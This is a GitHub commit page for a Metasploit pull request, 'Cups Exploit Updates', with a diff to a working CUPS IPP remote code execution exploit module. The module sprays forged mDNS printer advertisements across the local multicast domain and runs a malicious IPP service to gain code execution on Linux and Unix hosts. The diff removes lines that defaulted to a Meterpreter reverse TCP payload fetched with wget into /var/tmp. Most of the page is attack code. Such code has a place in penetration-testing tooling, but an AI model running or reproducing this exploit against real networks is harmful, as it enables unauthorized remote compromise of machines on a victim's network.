Skip to content

Commit

Permalink
Merge pull request #2 from smcintyre-r7/pr/collab/19630
Browse files Browse the repository at this point in the history
Cups Exploit Updates
  • Loading branch information
remmons-r7 authored Nov 21, 2024
2 parents 4951a9b + 0ec9b1b commit 74cfde3
Show file tree
Hide file tree
Showing 2 changed files with 125 additions and 124 deletions.
3 changes: 3 additions & 0 deletions lib/rex/proto/dns/server.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,8 +9,11 @@ module DNS
class Server

class MockDnsClient
extend Forwardable
attr_reader :peerhost, :peerport, :srvsock

def_delegators :@srvsock, :localhost, :localport, :sendto

#
# Create mock DNS client
#
Expand Down
246 changes: 122 additions & 124 deletions modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,8 @@ class MetasploitModule < Msf::Exploit::Remote
# Accessor for IPP HTTP service
attr_accessor :service2

MULTICAST_ADDR = '224.0.0.251'

# Define IPP constants
module TagEnum
UNSUPPORTED_VALUE = 0x10
Expand Down Expand Up @@ -77,6 +79,21 @@ module SectionEnum
UNSUPPORTED = 0x05
end

class MulticastComm < Rex::Socket::Comm::Local
# hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket)
# without this in place, the module won't work on a system with multiple network interfaces
def self.create_by_type(param, type, proto = 0)
socket = super
socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255)

membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new('0.0.0.0').hton
socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership)
socket
end

end

def initialize(info = {})
super(
update_info(
Expand Down Expand Up @@ -133,20 +150,10 @@ def initialize(info = {})
'Platform' => %w[linux unix],
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
'FETCH_COMMAND' => 'WGET',
'RPORT' => 443,
'SSL' => true,
'FETCH_WRITABLE_DIR' => '/var/tmp',
# Three hours by default, but can be modified for longer or shorter listening periods
'WfsDelay' => 10_800
'FETCH_WRITABLE_DIR' => '/var/tmp'
},
'Actions' => [
['Service', { 'Description' => 'Run mDNS service' }]
],
'PassiveActions' => [
'Service'
],
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultAction' => 'Service',
'DefaultTarget' => 0,
'DisclosureDate' => '2024-09-26',
Expand All @@ -171,41 +178,48 @@ def initialize(info = {})

register_options(
[
OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF']),
OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/),
OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']),
OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575])
]
)
end

def validate
super

if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' })
end

# Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured
unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local
raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' })
end
end

#
# Wrapper for service execution and cleanup
#
def exploit
if datastore['SRVHOST'] == '0.0.0.0'
fail_with(Failure::BadConfig, 'SRVHOST must be set to a specific address, not 0.0.0.0')
end
@printer_uuid = SecureRandom.uuid
start_mdns_service
start_ipp_service
print_status("Services started. Printer '#{datastore['PrinterName']}' is being advertised")
print_status("The exploit will continue listening for the next #{datastore['WfsDelay']} seconds")
service.wait
rescue Rex::BindFailed => e
print_error "Failed to bind to port: #{e.message}"
end

# mDNS code below

def start_mdns_service
comm = _determine_server_comm(bindhost)
self.service = Rex::ServiceManager.start(
Rex::Proto::MDNS::Server,
'0.0.0.0',
5353,
false,
nil,
comm,
MulticastComm,
{ 'Msf' => framework, 'MsfExploit' => self }
)

Expand All @@ -216,7 +230,7 @@ def start_mdns_service
on_send_mdns_response(cli, data)
end
rescue ::Errno::EACCES => e
raise Rex::BindFailed.new(e.message)
raise Rex::BindFailed, e.message
end

def create_ipp_response(version_major, version_minor, request_id)
Expand Down Expand Up @@ -355,23 +369,14 @@ def create_ipp_response(version_major, version_minor, request_id)
# IPP servers communicate using a binary protocol via HTTP
#
def start_ipp_service
comm = _determine_server_comm(datastore['SRVHOST'])

# If the IPP web service is still present from a previous run, initialize state
if service2
service2.remove_resource('/ipp/print')
service2.stop
self.service2 = nil
end

# Start the IPP web service
self.service2 = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
datastore['SRVPORT'],
datastore['SRVHOST'],
srvport,
srvhost,
false,
{ 'Msf' => framework, 'MsfExploit' => self },
comm
Rex::Socket::Comm::Local
)

# Register a route for queries to the printer
Expand Down Expand Up @@ -413,14 +418,14 @@ def start_ipp_service
rescue StandardError => e
vprint_error('An error occurred while processing an IPP request')
vprint_error("IPP Error is #{e.class} - #{e.message}")
vprint_error("#{e.backtrace.join("\n")}")
vprint_error(e.backtrace.join("\n").to_s)
raise e
end,
'Path' => '/ipp/print')

print_status("IPP service started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
print_status("IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}")
rescue Rex::BindFailed => e
vprint_error("Failed to bind IPP web service to #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
vprint_error("Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}")
raise e
end

Expand Down Expand Up @@ -491,106 +496,99 @@ def on_dispatch_mdns_request(cli, data)
# However, that requires the victim to search for new printers, which doesn't happen on most systems during a print dialog (it requires Settings->Printers->"Add Printer" on Ubuntu)
# Also, different distributions seem to have different flows for that, which made the approach unreliable
# So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim's printer list with our malicious printer
req.question.each do |_question|
# PTR record
req.add_answer(Dnsruby::RR.create(
name: '_ipp._tcp.local.',
type: 'PTR',
# Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation
# Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue
ttl: 30,
domainname: "#{ipp_printer_name}."
))
# A record for our printer
# All of these answers seem to need to be additional record answers, not just answers
req.add_additional(Dnsruby::RR.create(
name: "#{printer_name_no_space}.local.",
type: 'A',
ttl: 30,
# The IP address of our malicious HTTP IPP service
address: datastore['SRVHOST']
))

# SRV record
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'SRV',
ttl: 30,
priority: 0,
weight: 0,
# The port of our malicious HTTP IPP service
port: datastore['SRVPORT'],
target: "#{printer_name_no_space}.local."
))

# TXT record
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'TXT',
ttl: 30
).tap do |rr|
rr.strings = [
'txtvers=1',
'qtotal=1',
'rp=ipp/print',
"ty=#{printer_name}",
'pdl=application/postscript,application/pdf',
# The "adminurl" value may or may not be queried, depending on the victim type
# Points to our malicious HTTP IPP service
"adminurl=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}",
'priority=0',
'color=T',
'duplex=T',
# Unique UUID to avoid printer collision from multiple runs with the same configuration
"UUID=#{@printer_uuid}"
]
end)

# NSEC record, seems to be required, should be additional answer type
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'NSEC',
ttl: 30,
next_domain: "#{ipp_printer_name}.",
types: 'AAAA'
))

# Indicate our mDNS message is a query response
req.header.qr = 1
# In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one
# https://datatracker.ietf.org/doc/html/rfc6762
req.header.aa = 1

# Clear questions and update counts for our response
req.question.clear
req.update_counts

# Encode and send response
response_data = Packet.generate_response(req).encode

service.send_response(cli, response_data)

# Avoid responding a bunch of times for each query
break

end
return unless req.question.first

# PTR record
req.add_answer(Dnsruby::RR.create(
name: '_ipp._tcp.local.',
type: 'PTR',
# Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation
# Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue
ttl: 30,
domainname: "#{ipp_printer_name}."
))
# A record for our printer
# All of these answers seem to need to be additional record answers, not just answers
req.add_additional(Dnsruby::RR.create(
name: "#{printer_name_no_space}.local.",
type: 'A',
ttl: 30,
# The IP address of our malicious HTTP IPP service
address: datastore['SRVHOST']
))

# SRV record
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'SRV',
ttl: 30,
priority: 0,
weight: 0,
# The port of our malicious HTTP IPP service
port: datastore['SRVPORT'],
target: "#{printer_name_no_space}.local."
))

# TXT record
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'TXT',
ttl: 30
).tap do |rr|
rr.strings = [
'txtvers=1',
'qtotal=1',
'rp=ipp/print',
"ty=#{printer_name}",
'pdl=application/postscript,application/pdf',
# The "adminurl" value may or may not be queried, depending on the victim type
# Points to our malicious HTTP IPP service
"adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}",
'priority=0',
'color=T',
'duplex=T',
# Unique UUID to avoid printer collision from multiple runs with the same configuration
"UUID=#{@printer_uuid}"
]
end)

# NSEC record, seems to be required, should be additional answer type
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'NSEC',
ttl: 30,
next_domain: "#{ipp_printer_name}.",
types: 'AAAA'
))

# Indicate our mDNS message is a query response
req.header.qr = 1
# In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one
# https://datatracker.ietf.org/doc/html/rfc6762
req.header.aa = 1

# Clear questions and update counts for our response
req.question.clear
req.update_counts

# Encode and send response
response_data = Packet.generate_response(req).encode

service.send_response(cli, response_data)
end

#
# Creates Proc to handle outbound responses
#
def on_send_mdns_response(cli, data)
# This peerhost reassign is really clunky, but I struggled to get Metasploit to associate an existing request from a client with a multicast response addr any other way
# Unfortunately, I believe multicast traffic can't be tunnelled through Meterpreter agents, so this exploit will not work over pivots
cli.instance_variable_set(:@peerhost, '224.0.0.251')

# Log to console in VERBOSE mode, then write response
vprint_status("Sending response via #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}")
vprint_status("Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}")
cli.write(data)
end

def cleanup
super

if service2
# Remove the IPP resource before stopping the HTTP service
service2.remove_resource('/ipp/print')
Expand Down

0 comments on commit 74cfde3

Please sign in to comment.